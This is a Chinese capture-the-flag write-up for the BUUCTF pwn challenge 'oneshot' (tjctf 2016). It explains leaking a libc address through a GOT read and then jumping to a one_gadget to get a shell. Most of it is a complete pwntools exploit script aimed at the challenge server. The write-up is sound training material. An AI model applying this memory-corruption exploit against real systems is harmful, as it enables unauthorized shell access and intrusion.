[BUUCTF]-PWN:oneshot_tjctf_2016解析(字符串输入,onegadget)

查看保护

查看ida

这道题的大致思路就是泄露libc地址,然后用onegadget来getshell

但是要注意,这里要我们输入的数据类型是long int,所以不能用我们常用的p64函数了。

完整exp:

复制代码
from pwn import*
from LibcSearcher import*
context(log_level='debug')
p=process('./oneshot')
p=remote('node5.buuoj.cn',26499)
puts_got=0x600AD8
printf_got=0x600AE8
p.sendlineafter(b'Read location?',str(puts_got))
p.recvuntil(b'Value: ')
puts_addr=int(p.recv(18),16)
print(puts_addr)
libc=LibcSearcher('puts',puts_addr)
libcbase=puts_addr-libc.dump('puts')
onegadget=libcbase+0x45216
p.sendlineafter(b'Jump location?',str(onegadget))
p.interactive()
相关推荐
EndingCoder2 分钟前
React从基础入门到高级实战:React 高级主题 - React 微前端实践:构建可扩展的大型应用
前端·javascript·react.js·前端框架·状态模式
BigTopOne39 分钟前
【ijkplayer】 android 初始化硬解码
前端
1024小神1 小时前
rust或tauri项目执行命令的时候,cmd窗口也会弹出显示解决方法
前端·javascript
橙某人1 小时前
🤝和Ollama贴贴!解锁本地大模型的「私人订制」狂欢🎉
前端·deepseek
贩卖纯净水.1 小时前
Webpack搭建本地服务器
前端·webpack·node.js
brzhang1 小时前
iOS 26 的备忘录,终于他娘的要支持 Markdown 了!
前端·后端·架构
云边散步1 小时前
《校园生活平台从 0 到 1 的搭建》第一篇:创建项目与构建目录结构
前端·javascript·vue.js
前端老爷更车1 小时前
Threejs 渲染阴影流程
前端
鸭蛋超人不会飞1 小时前
H5引入微信SDK
前端
陈_杨1 小时前
鸿蒙5开发宝藏案例分享---埋点开发实战指南
前端